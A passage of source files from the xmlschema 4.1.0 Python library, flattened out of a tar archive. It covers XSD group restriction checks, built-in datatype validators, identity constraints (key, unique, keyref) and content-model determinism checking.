Restriction check failed again: try checking other items against self other_items = other.iter_model() for other_item in other_items: if self.is_restriction(other_item, check_occurs): return all(x.is_emptiable() for x in other_items) elif not other_item.is_emptiable(): return False else: return False def is_all_restriction(self, other: XsdGroup) -> bool: restriction_items = [x for x in self.iter_model()] base_items = [x for x in other.iter_model()] # If the base includes more wildcard, calculates and appends a # wildcard union for validating wildcard unions in restriction wildcards: list[XsdAnyElement] = [] extended: list[XsdAnyElement] = [] for w1 in base_items: if isinstance(w1, XsdAnyElement): for w2 in wildcards: if w1.process_contents == w2.process_contents and \ get_occurs(w1) == get_occurs(w2): w2.union(w1) extended.append(w2) break else: wildcards.append(_copy(w1)) base_items.extend(extended) if self.model != 'choice': restriction_wildcards = [e for e in restriction_items if isinstance(e, XsdAnyElement)] for other_item in base_items: min_occurs, max_occurs = 0, other_item.max_occurs for k in range(len(restriction_items) - 1, -1, -1): item = restriction_items[k] if item.is_restriction(other_item, check_occurs=False): if max_occurs is None: min_occurs += item.min_occurs elif item.max_occurs is None or max_occurs < item.max_occurs or \ min_occurs + item.min_occurs > max_occurs: continue else: min_occurs += item.min_occurs max_occurs -= item.max_occurs restriction_items.remove(item) if not min_occurs or max_occurs == 0: break else: if self.model == 'all' and restriction_wildcards: if not isinstance(other_item, XsdGroup) and other_item.type \ and other_item.type.name != XSD_ANY_TYPE: for w in restriction_wildcards: if w.is_matching(other_item.name, self.target_namespace): return False if min_occurs < other_item.min_occurs: break else: if not restriction_items: return True return False # Restriction with a choice model: this a more complex case # because the not emptiable elements of the base group have # to be included in each item of the choice group. not_emptiable_items = {x for x in base_items if x.min_occurs} for other_item in base_items: min_occurs, max_occurs = 0, other_item.max_occurs for k in range(len(restriction_items) - 1, -1, -1): item = restriction_items[k] if item.is_restriction(other_item, check_occurs=False): if max_occurs is None: min_occurs += item.min_occurs elif item.max_occurs is None or max_occurs < item.max_occurs or \ min_occurs + item.min_occurs > max_occurs: continue else: min_occurs += item.min_occurs max_occurs -= item.max_occurs if not_emptiable_items: if len(not_emptiable_items) > 1: continue if other_item not in not_emptiable_items: continue restriction_items.remove(item) if not min_occurs or max_occurs == 0: break if min_occurs < other_item.min_occurs: break else: if not restriction_items: return True if any(not isinstance(x, XsdGroup) for x in restriction_items): return False # If the remaining items are groups try to verify if they are all # restrictions of the 'all' group and if each group contains all # not emptiable elements. for group in restriction_items: if not group.is_restriction(other): return False for item in not_emptiable_items: for e in group: if e.name == item.name: break else: return False else: return True def is_choice_restriction(self, other: XsdGroup) -> bool: restriction_items = [x for x in self.iter_model()] has_not_empty_item = any(e.max_occurs != 0 for e in restriction_items) check_occurs = other.max_occurs != 0 max_occurs: Optional[int] = 0 other_max_occurs: Optional[int] = 0 for other_item in other.iter_model(): for item in restriction_items: if other_item is item or item.is_restriction(other_item, check_occurs): if max_occurs is not None: effective_max_occurs = item.effective_max_occurs if effective_max_occurs is None: max_occurs = None elif self.model == 'choice': max_occurs = max(max_occurs, effective_max_occurs) else: max_occurs += effective_max_occurs if other_max_occurs is not None: effective_max_occurs = other_item.effective_max_occurs if effective_max_occurs is None: other_max_occurs = None else: other_max_occurs = max(other_max_occurs, effective_max_occurs) break elif item.max_occurs != 0: continue elif not other_item.is_matching(item.name): continue elif has_not_empty_item: break else: return False else: continue restriction_items.remove(item) if restriction_items: return False elif other_max_occurs is None: if other.max_occurs != 0: return True other_max_occurs = 0 elif other.max_occurs is None: if other_max_occurs != 0: return True other_max_occurs = 0 else: other_max_occurs *= other.max_occurs if max_occurs is None: return self.max_occurs == 0 elif self.max_occurs is None: return max_occurs == 0 else: return other_max_occurs >= max_occurs * self.max_occurs ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/helpers.py�����������������������������������������������������0000664�0000000�0000000�00000016647�15020401055�0021650�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from decimal import Decimal from math import isinf, isnan from typing import Optional, SupportsInt, SupportsFloat, Union from xml.etree.ElementTree import Element from elementpath import datatypes from xmlschema.aliases import ElementType from xmlschema.names import XSD_ANNOTATION from xmlschema.exceptions import XMLSchemaValueError from xmlschema.translation import gettext as _ from .exceptions import XMLSchemaValidationError XSD_FINAL_ATTRIBUTE_VALUES = {'restriction', 'extension', 'list', 'union'} XSD_BOOLEAN_MAP = { 'false': False, '0': False, 'true': True, '1': True } def get_xsd_derivation_attribute(elem: Element, attribute: str, values: Optional[set[str]] = None) -> str: """ Get a derivation attribute (maybe 'block', 'blockDefault', 'final' or 'finalDefault') checking the items with the values arguments. Returns a string. :param elem: the Element instance. :param attribute: the attribute name. :param values: a set of admitted values when the attribute value is not '#all'. """ value = elem.get(attribute) if value is None: return '' if values is None: values = XSD_FINAL_ATTRIBUTE_VALUES items = value.split() if len(items) == 1 and items[0] == '#all': return ' '.join(values) elif not all(s in values for s in items): raise ValueError(_("wrong value %r for attribute %r") % (value, attribute)) return value def get_xsd_annotation_child(elem: ElementType) -> Optional[ElementType]: """ Returns the child element of the annotation associated to an XSD component, `None` if it doesn't exist. """ for child in elem: if child.tag == XSD_ANNOTATION: return child elif not callable(child.tag): return None else: return None # # XSD built-in types validator functions def decimal_validator(value: Union[Decimal, int, float, str]) -> None: try: if not isinstance(value, (Decimal, float)): datatypes.DecimalProxy.validate(value) elif isinf(value) or isnan(value): raise ValueError() except (ValueError, TypeError): raise XMLSchemaValidationError(decimal_validator, value, _("value is not a valid xs:decimal")) from None def qname_validator(value: str) -> None: if datatypes.QName.pattern.match(value) is None: raise XMLSchemaValidationError(qname_validator, value, _("value is not an xs:QName")) def byte_validator(value: int) -> None: if not (-2**7 <= value < 2 ** 7): raise XMLSchemaValidationError(int_validator, value, _("value must be {:s}").format("-128 <= x < 128")) def short_validator(value: int) -> None: if not (-2**15 <= value < 2 ** 15): raise XMLSchemaValidationError(short_validator, value, _("value must be {:s}").format("-2^15 <= x < 2^15")) def int_validator(value: int) -> None: if not (-2**31 <= value < 2 ** 31): raise XMLSchemaValidationError(int_validator, value, _("value must be {:s}").format("-2^31 <= x < 2^31")) def long_validator(value: int) -> None: if not (-2**63 <= value < 2 ** 63): raise XMLSchemaValidationError(long_validator, value, _("value must be {:s}").format("-2^63 <= x < 2^63")) def unsigned_byte_validator(value: int) -> None: if not (0 <= value < 2 ** 8): raise XMLSchemaValidationError(unsigned_byte_validator, value, _("value must be {:s}").format("0 <= x < 256")) def unsigned_short_validator(value: int) -> None: if not (0 <= value < 2 ** 16): raise XMLSchemaValidationError(unsigned_short_validator, value, _("value must be {:s}").format("0 <= x < 2^16")) def unsigned_int_validator(value: int) -> None: if not (0 <= value < 2 ** 32): raise XMLSchemaValidationError(unsigned_int_validator, value, _("value must be {:s}").format("0 <= x < 2^32")) def unsigned_long_validator(value: int) -> None: if not (0 <= value < 2 ** 64): raise XMLSchemaValidationError(unsigned_long_validator, value, _("value must be {:s}").format("0 <= x < 2^64")) def negative_int_validator(value: int) -> None: if value >= 0: raise XMLSchemaValidationError(negative_int_validator, value, _("value must be negative")) def positive_int_validator(value: int) -> None: if value <= 0: raise XMLSchemaValidationError(positive_int_validator, value, _("value must be positive")) def non_positive_int_validator(value: int) -> None: if value > 0: raise XMLSchemaValidationError(non_positive_int_validator, value, _("value must be non positive")) def non_negative_int_validator(value: int) -> None: if value < 0: raise XMLSchemaValidationError(non_negative_int_validator, value, _("value must be non negative")) def hex_binary_validator(value: Union[str, datatypes.HexBinary]) -> None: if not isinstance(value, datatypes.HexBinary) and \ datatypes.HexBinary.pattern.match(value) is None: raise XMLSchemaValidationError(hex_binary_validator, value, _("not an hexadecimal number")) def base64_binary_validator(value: Union[str, datatypes.Base64Binary]) -> None: if isinstance(value, datatypes.Base64Binary): return value = value.replace(' ', '') if not value: return match = datatypes.Base64Binary.pattern.match(value) if match is None or match.group(0) != value: raise XMLSchemaValidationError(base64_binary_validator, value, _("not a base64 encoding")) def error_type_validator(value: object) -> None: raise XMLSchemaValidationError(error_type_validator, value, _("no value is allowed for xs:error type")) # # XSD builtin decoding functions def boolean_to_python(value: str) -> bool: try: return XSD_BOOLEAN_MAP[value] except KeyError: raise XMLSchemaValueError(_('{!r} is not a boolean value').format(value)) def python_to_boolean(value: object) -> str: if isinstance(value, str): if value in XSD_BOOLEAN_MAP: return value raise XMLSchemaValueError(_('{!r} is not a boolean value').format(value)) return str(value).lower() def python_to_float(value: Union[SupportsFloat, str]) -> str: if isinstance(value, str): if value in ('NaN', 'INF', '-INF'): return value return str(float(value)) elif isnan(value): return "NaN" if value == float("inf"): return "INF" if value == float("-inf"): return "-INF" return str(value) def python_to_int(value: Union[SupportsInt, str]) -> str: return str(int(value)) �����������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/identities.py��������������������������������������������������0000664�0000000�0000000�00000050763�15020401055�0022344�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains classes for other XML Schema identity constraints. """ import copy import re import math from collections import Counter from collections.abc import Iterator from typing import TYPE_CHECKING, cast, Any, Optional, Union from elementpath import ElementPathError, XPathContext, XPathToken, \ ElementNode, translate_pattern, AttributeNode from elementpath.datatypes import UntypedAtomic from elementpath.xpath_nodes import EtreeElementNode from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError from xmlschema.names import XSD_UNIQUE, XSD_KEY, XSD_KEYREF, XSD_SELECTOR, XSD_FIELD from xmlschema.translation import gettext as _ from xmlschema.utils.qnames import get_qname, get_extended_qname from xmlschema.aliases import ElementType, SchemaType, NsmapType, AtomicValueType, \ BaseXsdType, SchemaElementType, SchemaAttributeType from ..xpath import IdentityXPathParser, XPathElement, XMLSchemaProxy from .exceptions import XMLSchemaNotBuiltError from .xsdbase import XsdComponent from .attributes import XsdAttribute from .wildcards import XsdAnyElement, XsdWildcard from . import elements as elements_module if TYPE_CHECKING: from .elements import XsdElement IdentityFieldItemType = Union[AtomicValueType, XsdAttribute, tuple[Any, ...], None] IdentityCounterType = tuple[IdentityFieldItemType, ...] # XSD identities use a restricted XPath 2.0 parser. The XMLSchemaProxy is # not used for the specific selection of fields and elements and the XSD # fields are collected at first validation run. def iter_root_elements(token: XPathToken) -> Iterator[XPathToken]: if token.symbol in ('(name)', ':', '*', '.'): yield token elif token.symbol in ('//', '/'): yield from iter_root_elements(token[0]) for tk in token[1].iter(): if tk.symbol == '|': yield from iter_root_elements(tk[1]) break elif token.symbol in '|': for tk in token: yield from iter_root_elements(tk) IdentityMapType = dict[Union['XsdKey', 'XsdKeyref', str, None], Union['IdentityCounter', 'KeyrefCounter']] IdentityNodeType = Union[ElementNode, AttributeNode] FieldDecoderType = Union[SchemaElementType, SchemaAttributeType] class XsdSelector(XsdComponent): """Class for defining an XPath selector for an XSD identity constraint.""" _ADMITTED_TAGS = XSD_SELECTOR, _REGEXP = ( r"(\.//)?(((child::)?((\i\c*:)?(\i\c*|\*)))|\.)(/(((child::)?" r"((\i\c*:)?(\i\c*|\*)))|\.))*(\|(\.//)?(((child::)?((\i\c*:)?" r"(\i\c*|\*)))|\.)(/(((child::)?((\i\c*:)?(\i\c*|\*)))|\.))*)*" ) pattern: Optional[re.Pattern[str]] = None xpath_default_namespace = '' def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional['XsdIdentity']) -> None: super().__init__(elem, schema, parent) def _parse(self) -> None: try: self.path = self.elem.attrib['xpath'] except KeyError: self.parse_error(_("'xpath' attribute required")) self.path = '*' else: path = self.path.replace(' ', '') if self.pattern is None: regexp = translate_pattern( self._REGEXP, back_references=False, lazy_quantifiers=False, anchors=False ) self.__class__.pattern = re.compile(regexp) assert self.pattern is not None if not self.pattern.match(path): msg = _("invalid XPath expression for an {}") self.parse_error(msg.format(self.__class__.__name__)) # XSD 1.1 xpathDefaultNamespace attribute if self.schema.XSD_VERSION > '1.0': if 'xpathDefaultNamespace' in self.elem.attrib: self.xpath_default_namespace = self._parse_xpath_default_namespace(self.elem) else: self.xpath_default_namespace = self.schema.xpath_default_namespace self.parser = IdentityXPathParser( namespaces=self.schema.namespaces, strict=False, compatibility_mode=True, default_namespace=self.xpath_default_namespace, ) try: self.token = self.parser.parse(self.path) except ElementPathError as err: self.token = self.parser.parse('*') self.parse_error(err) def __repr__(self) -> str: return '%s(path=%r)' % (self.__class__.__name__, self.path) class XsdFieldSelector(XsdSelector): """Class for defining an XPath field selector for an XSD identity constraint.""" _ADMITTED_TAGS = XSD_FIELD, _REGEXP = ( r"(\.//)?((((child::)?((\i\c*:)?(\i\c*|\*)))|\.)/)*((((child::)?" r"((\i\c*:)?(\i\c*|\*)))|\.)|((attribute::|@)((\i\c*:)?(\i\c*|\*))))" r"(\|(\.//)?((((child::)?((\i\c*:)?(\i\c*|\*)))|\.)/)*" r"((((child::)?((\i\c*:)?(\i\c*|\*)))|\.)|" r"((attribute::|@)((\i\c*:)?(\i\c*|\*)))))*" ) pattern = None class XsdIdentity(XsdComponent): """ Common class for XSD identity constraints. :ivar selector: the XPath selector of the identity constraint. :ivar fields: a list containing the XPath field selectors of the identity constraint. """ name: str local_name: str prefixed_name: str parent: 'XsdElement' ref: Optional['XsdIdentity'] selector: Optional[XsdSelector] fields: list[XsdFieldSelector] # XSD elements bound by selector (for speed-up and for lazy mode) elements: dict['XsdElement', list['FieldValueSelector']] __slots__ = ('selector', 'fields', 'elements') def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional['XsdElement']) -> None: super().__init__(elem, schema, parent) def _parse(self) -> None: try: self.name = get_qname(self.target_namespace, self.elem.attrib['name']) except KeyError: self.parse_error(_("missing required attribute 'name'")) self.name = '' for child in self.elem: if child.tag == XSD_SELECTOR: self.selector = XsdSelector(child, self.schema, self) break else: self.parse_error(_("missing 'selector' declaration")) self.selector = None self.fields = [] for child in self.elem: if child.tag == XSD_FIELD: self.fields.append(XsdFieldSelector(child, self.schema, self)) self.elements = {} def build(self) -> None: if self._built: return self._built = True if self.ref is True: # type: ignore[comparison-overlap] try: ref = self.maps.identities[self.name] except KeyError: self.fields = [] self.elements = {} msg = _("unknown identity constraint {!r}") self.parse_error(msg.format(self.name)) return else: if not isinstance(ref, self.__class__): msg = _("attribute 'ref' points to a different kind constraint") self.parse_error(msg) self.selector = ref.selector self.fields = ref.fields self.elements = {} self.ref = ref try: self.update_elements(base_element=self.parent) except TypeError as err: self.parse_error(err) def update_elements(self, base_element: Union['XsdElement', XPathElement]) -> None: if self.selector is None: return context = XPathContext(self.schema.xpath_node, item=base_element.xpath_node) e: Any for e in self.selector.token.select_results(context): if isinstance(e, elements_module.XsdElement): if e.name is not None: if e.ref is not None: e = e.ref if e not in self.elements: self.elements[e] = [FieldValueSelector(f, e) for f in self.fields] e.selected_by.add(self) elif not isinstance(e, (XsdAnyElement, XPathElement)): msg = _("selector xpath expression can only select elements") raise XMLSchemaTypeError(msg) # Try to detect other target XSD elements extracting QNames of # the leaf elements from the XPath expression and use them to # match from global elements. Anyway identity counters created # by identity are not enabled if the data is outside the scope. qname: Any for qname in self.selector.token.iter_leaf_elements(): e = self.maps.elements.get( get_extended_qname(qname, self.schema.namespaces) ) if isinstance(e, elements_module.XsdElement): if e.ref is not None: e = e.ref if e not in self.elements: self.elements[e] = [FieldValueSelector(f, e) for f in self.fields] e.selected_by.add(self) def get_counter(self, elem: ElementType) -> 'IdentityCounter': return IdentityCounter(self, elem) class XsdUnique(XsdIdentity): _ADMITTED_TAGS = XSD_UNIQUE, class XsdKey(XsdIdentity): _ADMITTED_TAGS = XSD_KEY, class XsdKeyref(XsdIdentity): """ Implementation of xs:keyref. :ivar refer: reference to a *xs:key* declaration that must be in the same element \ or in a descendant element. """ _ADMITTED_TAGS = XSD_KEYREF, refer: Optional[Union[str, XsdKey]] = None refer_path = '.' def _parse(self) -> None: super()._parse() try: self.refer = self.schema.resolve_qname(self.elem.attrib['refer']) except (KeyError, ValueError, RuntimeError) as err: if 'refer' not in self.elem.attrib: self.parse_error(_("missing required attribute 'refer'")) else: self.parse_error(err) def build(self) -> None: if self._built: return super().build() if isinstance(self.refer, (XsdKey, XsdUnique)): return # referenced key/unique identity constraint already set elif isinstance(self.ref, XsdKeyref): self.refer = self.ref.refer if self.refer is None: return # attribute or key/unique identity constraint missing elif isinstance(self.refer, str): refer: Optional[XsdIdentity] for refer in self.parent.identities: if refer.name == self.refer: break else: refer = None if refer is not None and refer.ref is None: self.refer = refer # type: ignore[assignment] else: try: self.refer = self.maps.identities[self.refer] # type: ignore[assignment] except KeyError: msg = _("key/unique identity constraint %r is missing") self.parse_error(msg % self.refer) return if not isinstance(self.refer, (XsdKey, XsdUnique)): msg = _("reference to a non key/unique identity constraint %r") self.parse_error(msg % self.refer) elif len(self.refer.fields) != len(self.fields): msg = _("field cardinality mismatch between {0!r} and {1!r}") self.parse_error(msg.format(self, self.refer)) elif self.parent is not self.refer.parent: refer_path = self.refer.parent.get_path(ancestor=self.parent) if refer_path is None: # From a note in par. 3.11.5 Part 1 of XSD 1.0 spec: "keyref # identity-constraints may be defined on domains distinct from # the embedded domain of the identity-constraint they reference, # or the domains may be the same but self-embedding at some depth. # In either case the node table for the referenced identity-constraint # needs to propagate upwards, with conflict resolution." refer_path = self.parent.get_path(ancestor=self.refer.parent, reverse=True) if refer_path is None: path1 = self.parent.get_path(reverse=True) path2 = self.refer.parent.get_path() assert path1 is not None assert path2 is not None refer_path = f'{path1}/{path2}' self.refer_path = refer_path def get_counter(self, elem: ElementType) -> 'KeyrefCounter': return KeyrefCounter(self, elem) class Xsd11Unique(XsdUnique): def _parse(self) -> None: if self._parse_reference(): self.ref = True # type: ignore[assignment] else: super()._parse() class Xsd11Key(XsdKey): def _parse(self) -> None: if self._parse_reference(): self.ref = True # type: ignore[assignment] else: super()._parse() class Xsd11Keyref(XsdKeyref): def _parse(self) -> None: if self._parse_reference(): self.ref = True # type: ignore[assignment] else: super()._parse() class IdentityCounter: elements: Optional[set[Any]] # don't need to check, should be only etree elements anyway __slots__ = ('elements', 'counter', 'identity', 'elem', 'enabled') def __init__(self, identity: XsdIdentity, elem: ElementType) -> None: self.counter: Counter[IdentityCounterType] = Counter[IdentityCounterType]() self.identity = identity self.elem = elem self.enabled = True self.elements = None def __repr__(self) -> str: return "%s%r" % (self.__class__.__name__[:-7], self.counter) def reset(self, elem: ElementType) -> None: self.counter.clear() self.elem = elem self.enabled = True self.elements = None def increase(self, fields: IdentityCounterType) -> None: self.counter[fields] += 1 if self.counter[fields] == 2: msg = _("duplicated value {0!r} for {1!r}") raise XMLSchemaValueError(msg.format(fields, self.identity)) class KeyrefCounter(IdentityCounter): identity: XsdKeyref def __init__(self, identity: XsdIdentity, elem: ElementType) -> None: super().__init__(identity, elem) if isinstance(self.identity.refer, (XsdKey, XsdUnique)): self.refer = self.identity.refer def increase(self, fields: IdentityCounterType) -> None: self.counter[fields] += 1 def iter_errors(self, identities: dict[XsdIdentity, IdentityCounter]) \ -> Iterator[XMLSchemaValueError]: if self.refer is None: return # don't validate with an unbuilt keyref refer_values = identities[self.refer].counter for v in filter(lambda x: x not in refer_values, self.counter): if len(v) == 1 and v[0] in refer_values: continue elif self.counter[v] > 1: msg = "value {} not found for {!r} ({} times)" yield XMLSchemaValueError(msg.format(v, self.refer, self.counter[v])) else: msg = "value {} not found for {!r}" yield XMLSchemaValueError(msg.format(v, self.identity.refer)) class FieldValueSelector: __slots__ = ('field', 'xsd_element', 'xpath_proxy', 'value_constraints', 'token', 'decoders', 'skip_wildcard') def __init__(self, field: XsdFieldSelector, xsd_element: 'XsdElement') -> None: if field.token is None: msg = f"identity field {field} is not built" raise XMLSchemaNotBuiltError(field, msg) self.skip_wildcard = False self.field = field self.xsd_element = xsd_element self.value_constraints = {} self.xpath_proxy = XMLSchemaProxy(xsd_element.schema, xsd_element) self.token = copy.deepcopy(field.token) self.decoders = [] for node in self.token.select(self.xpath_proxy.get_context()): if not isinstance(node, (AttributeNode, ElementNode)): raise XMLSchemaTypeError( "xs:field path must select only attributes and elements" ) comp = cast(FieldDecoderType, node.obj) self.decoders.append(comp) if isinstance(comp, XsdWildcard): if comp.process_contents == 'skip': self.skip_wildcard = True else: value_constraint = comp.value_constraint if value_constraint is not None: self.value_constraints[node.name] = comp.type.text_decode(value_constraint) if isinstance(comp, XsdAttribute): self.value_constraints[None] = self.value_constraints[node.name] if len(self.decoders) > 1 and None in self.value_constraints: self.value_constraints.pop(None) def get_value(self, element_node: EtreeElementNode, namespaces: Optional[NsmapType] = None) -> IdentityFieldItemType: """ Get field value from an element node for a schema or instance context element. :param element_node: a no Element :param namespaces: is an optional mapping from namespace prefix to URI. """ value: Union[AtomicValueType, list[Optional[AtomicValueType]], None] = None element_node.schema = None context = XPathContext( element_node, namespaces=namespaces, schema=self.xpath_proxy, ) empty = True for node in cast(Iterator[IdentityNodeType], self.token.select(context)): if empty: empty = False else: msg = _("%r field selects multiple values!") raise XMLSchemaValueError(msg % self.field) try: xsd_type = cast(Optional[BaseXsdType], node.xsd_type) except AttributeError: msg = _("%r field selects a %r!") raise XMLSchemaTypeError(msg % (self.field, type(node))) if xsd_type is None: if self.skip_wildcard: value = None else: value = node.string_value elif xsd_type.content_type_label not in ('simple', 'mixed'): msg = _("%r field doesn't have a simple type!") raise XMLSchemaTypeError(msg % self.field) elif xsd_type.is_qname(): value = get_extended_qname(node.string_value.strip(), namespaces) elif xsd_type.is_boolean(): # Workarounds for discovered issues with XPath processors value = xsd_type.text_decode(node.string_value.strip()) else: try: value = node.typed_value # type: ignore[assignment,unused-ignore] except (KeyError, ValueError): for decoder in self.decoders: if not isinstance(decoder, XsdWildcard): if decoder.is_matching(node.name): value = decoder.type.text_decode(node.string_value) break else: value = node.string_value if value is None: value = self.value_constraints.get(node.name) else: if empty: value = self.value_constraints.get(None) if value is None: if not isinstance(self.field.parent, XsdKey) or \ 'ref' in element_node.obj.attrib and \ self.field.schema.meta_schema is None and \ self.field.schema.XSD_VERSION != '1.0': return None else: msg = _("missing key field {0!r} for {1!r}") raise XMLSchemaValueError(msg.format(self.field.path, self)) elif isinstance(value, list): return tuple(value) elif isinstance(value, UntypedAtomic): return str(value) elif isinstance(value, bool): return value, bool elif not isinstance(value, float): return value elif math.isnan(value): return 'nan', float else: return value, float �������������xmlschema-4.1.0/xmlschema/validators/models.py������������������������������������������������������0000664�0000000�0000000�00000111460�15020401055�0021456�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains a function and a class for validating XSD content models, plus a set of functions for manipulating encoded content. """ import warnings from collections import defaultdict, deque, Counter from collections.abc import Iterable, Iterator, MutableMapping, MutableSequence from copy import copy from typing import Any, Optional, Union from xmlschema.aliases import ModelGroupType, ModelParticleType, SchemaElementType, \ OccursCounterType from xmlschema.exceptions import XMLSchemaRuntimeError, XMLSchemaTypeError, XMLSchemaValueError from xmlschema.translation import gettext as _ from xmlschema import limits from .exceptions import XMLSchemaModelError, XMLSchemaModelDepthError from .wildcards import XsdAnyElement, Xsd11AnyElement from . import groups AdvanceYieldedType = tuple[ModelParticleType, int, list[SchemaElementType]] ContentItemType = tuple[Union[int, str], Any] EncodedContentType = Union[MutableMapping[Union[int, str], Any], Iterable[ContentItemType]] StepType = Union[str, SchemaElementType, tuple[Union[str, SchemaElementType], int]] def distinguishable_paths(path1: list[ModelParticleType], path2: list[ModelParticleType]) -> bool: """ Checks if two model paths are distinguishable in a deterministic way, without looking forward or backtracking. The arguments are lists containing paths from the base group of the model to a couple of leaf elements. Returns `True` if there is a deterministic separation between paths, `False` if the paths are ambiguous. """ e: ModelParticleType for k, e in enumerate(path1): if e not in path2: if not k: return True depth = k - 1 break else: depth = 0 if path1[depth].max_occurs == 0: return True univocal1 = univocal2 = True if path1[depth].model == 'sequence': # type: ignore[union-attr] idx1 = path1[depth].index(path1[depth + 1]) idx2 = path2[depth].index(path2[depth + 1]) before1 = any(not e.is_emptiable() for e in path1[depth][:idx1]) after1 = before2 = any(not e.is_emptiable() for e in path1[depth][idx1 + 1:idx2]) after2 = any(not e.is_emptiable() for e in path1[depth][idx2 + 1:]) else: before1 = after1 = before2 = after2 = False for k in range(depth + 1, len(path1) - 1): univocal1 &= path1[k].is_univocal() idx = path1[k].index(path1[k + 1]) if path1[k].model == 'sequence': # type: ignore[union-attr] before1 |= any(not e.is_emptiable() for e in path1[k][:idx]) after1 |= any(not e.is_emptiable() for e in path1[k][idx + 1:]) elif any(e.is_emptiable() for e in path1[k] if e is not path1[k][idx]): univocal1 = False for k in range(depth + 1, len(path2) - 1): univocal2 &= path2[k].is_univocal() idx = path2[k].index(path2[k + 1]) if path2[k].model == 'sequence': # type: ignore[union-attr] before2 |= any(not e.is_emptiable() for e in path2[k][:idx]) after2 |= any(not e.is_emptiable() for e in path2[k][idx + 1:]) elif any(e.is_emptiable() for e in path2[k] if e is not path2[k][idx]): univocal2 = False if path1[depth].model != 'sequence': # type: ignore[union-attr] if before1 and before2: return True elif before1: return univocal1 and path1[-1].is_univocal() or after1 or path1[depth].max_occurs == 1 elif before2: return univocal2 and path2[-1].is_univocal() or after2 or path2[depth].max_occurs == 1 else: return False elif path1[depth].max_occurs == 1: return before2 or (before1 or univocal1) and (path1[-1].is_univocal() or after1) else: return (before2 or (before1 or univocal1) and (path1[-1].is_univocal() or after1)) and \ (before1 or (before2 or univocal2) and (path2[-1].is_univocal() or after2)) def check_model(group: ModelGroupType) -> None: """ Checks if the model group is deterministic. Element Declarations Consistent and Unique Particle Attribution constraints are checked. :param group: the model group to check. :raises: an `XMLSchemaModelError` at first violated constraint. """ def safe_iter_path() -> Iterator[SchemaElementType]: iterators: list[Iterator[ModelParticleType]] = [] particles = iter(group) while True: for item in particles: if isinstance(item, groups.XsdGroup): current_path.append(item) iterators.append(particles) particles = iter(item) if len(iterators) > limits.MAX_MODEL_DEPTH: raise XMLSchemaModelDepthError(group) break else: yield item else: try: current_path.pop() particles = iterators.pop() except IndexError: return paths: Any = {} current_path: list[ModelParticleType] = [group] try: any_element = group.parent.open_content.any_element # type: ignore[union-attr] except AttributeError: any_element = None for e in safe_iter_path(): previous_path: list[ModelParticleType] for pe, previous_path in paths.values(): # EDC check if not e.is_consistent(pe) or any_element and not any_element.is_consistent(pe): msg = _("Element Declarations Consistent violation between {0!r} and {1!r}" ": match the same name but with different types").format(e, pe) raise XMLSchemaModelError(group, msg) # UPA check if pe is e or not pe.is_overlap(e): continue elif pe.parent is e.parent: if pe.parent.model in {'all', 'choice'}: if isinstance(pe, Xsd11AnyElement) and not isinstance(e, XsdAnyElement): pe.add_precedence(e, group) elif isinstance(e, Xsd11AnyElement) and not isinstance(pe, XsdAnyElement): e.add_precedence(pe, group) else: msg = _("{0!r} and {1!r} overlap and are in the same {2!r} group") raise XMLSchemaModelError(group, msg.format(pe, e, pe.parent.model)) elif pe.is_univocal(): continue if distinguishable_paths(previous_path + [pe], current_path + [e]): continue elif isinstance(pe, Xsd11AnyElement) and not isinstance(e, XsdAnyElement): pe.add_precedence(e, group) elif isinstance(e, Xsd11AnyElement) and not isinstance(pe, XsdAnyElement): e.add_precedence(pe, group) else: msg = _("Unique Particle Attribution violation between {0!r} and {1!r}") raise XMLSchemaModelError(group, msg.format(pe, e)) paths[e.name] = e, current_path[:] class ModelVisitor: """ A visitor design pattern class that can be used for validating XML data related to an XSD model group. The visit of the model is done using an external match information, counting the occurrences and yielding tuples in case of model's item occurrence errors. Ends setting the current element to `None`. :param root: the root model group. :ivar occurs: the Counter instance for keeping track of occurrences of XSD elements and groups. :ivar element: the current XSD element, initialized to the first element of the model. :ivar group: the current XSD model group, initialized to *root* argument. :ivar items: the current XSD group's items iterator. :ivar match: if the XSD group has an effective item match. """ _groups: list[tuple[ModelGroupType, Iterator[ModelParticleType], bool]] element: Optional[SchemaElementType] occurs: OccursCounterType __slots__ = '_groups', 'root', 'occurs', 'element', 'group', 'items', 'match' def __init__(self, root: ModelGroupType) -> None: self._groups = [] self.root = root self.occurs = Counter() self.element = None self.group = root self.items = self.iter_group() self.match = False self._start() def __repr__(self) -> str: return '%s(root=%r)' % (self.__class__.__name__, self.root) def clear(self) -> None: del self._groups[:] self.occurs.clear() self.element = None self.group = self.root self.items = self.iter_group() self.match = False def _start(self) -> None: while True: item = next(self.items, None) if item is None: if not self._groups: break self.group, self.items, self.match = self._groups.pop() elif not isinstance(item, groups.XsdGroup): self.element = item break elif item: self._groups.append((self.group, self.items, self.match)) self.group = item self.items = self.iter_group() self.match = False @property def expected(self) -> list[SchemaElementType]: """Returns the expected elements of the current and descendant groups.""" return self.group.get_expected(self.occurs) def restart(self) -> None: self.clear() self._start() def stop(self) -> Iterator[AdvanceYieldedType]: """Stop the model and returns the errors, if any.""" while self.element is not None: yield from self.advance() def iter_group(self) -> 